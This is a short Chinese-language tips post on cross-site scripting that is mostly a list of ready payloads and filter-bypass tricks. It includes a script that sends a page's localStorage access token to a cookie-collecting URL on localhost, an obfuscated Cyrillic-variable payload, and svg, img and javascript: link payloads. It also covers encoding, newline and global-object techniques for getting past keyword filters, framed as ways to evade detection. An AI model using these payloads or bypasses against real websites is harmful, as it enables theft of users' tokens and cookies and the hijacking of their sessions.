XSS实用小技巧
首先思路,我们进入一个页面,分析一下都有什么元素,input输入框?href标签?img图片? svg图标?
All roads lead to Rome,天天大路通罗马,有时候我们并不一定就是直接在输入框反复尝试,F12开发者调试工具也可以使用,有时候我们可以直接对超链接进行操作,嵌入javascript:;语法,或者在input img嵌入<script></script>脚本语句,同样可以使用svg去上传代码
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
这里我们可以使用新的思路,因为我们知道后期如果加入免杀的话,我们需要一些混淆语法,不能使用寻常的关键字进行渗透,这个时候我们可以使用 :
(1)<script>new Image().src='http://localhost/cookie.php?c='+localStorage.getItem('access_token');</script>
(2)<img src=x onerror=alert(1)>
(3)Б='',Д=!Б+Б,И=!Д+Б,Ж=Б+{},Щ=Д[Б++],З=Д[Л=Б],Ю=++Л+Б,Ф=Ж[Л+Ю],Д[Ф+=Ж[Б]+(Д.И+Ж)[Б]+И[Ю]+Щ+З+Д[Л]+Ф+Щ+Ж[Б]+З][Ф](И[Б]+И[Л]+Д[Ю]+З+Щ+"(Б)")();
(4)<script>alert(document.cookie);</script>
(5)<svg/onload=alert(1)>
(6)<a href=”javascript:alert(1);”>test</a>
一些常用bypass的小技巧
(在挖掘xss漏洞时,经常会遇到各类过滤手段,比如将<>进行html实体编码,单双引号过滤,空格过滤,关键字过滤等等
1). 编码绕过:
url编码绕过
unicode编码绕过
html实体编码绕过:实体编码绕过需要结合<svg></svg>标签使用,否则利用的失败率比较高
2). 换行绕过
使用%0A进行关键字绕过
3). 利用全局变量绕过
Self,window等等
c=0;for(i in self){if(/^a[rel]+t$/.test(i)){self[Object.keys(self)[c]](1)}c++;};
4). 关键字绕过
Alert被过滤了可以使用下面的进行弹窗
<script>prompt(“1”);</script>
<script>confirm(1);</script>)
可以发现用其他思路也可以实现~
小提示使用Shift+esc可以查看chrome浏览器的任务进程及内存哦~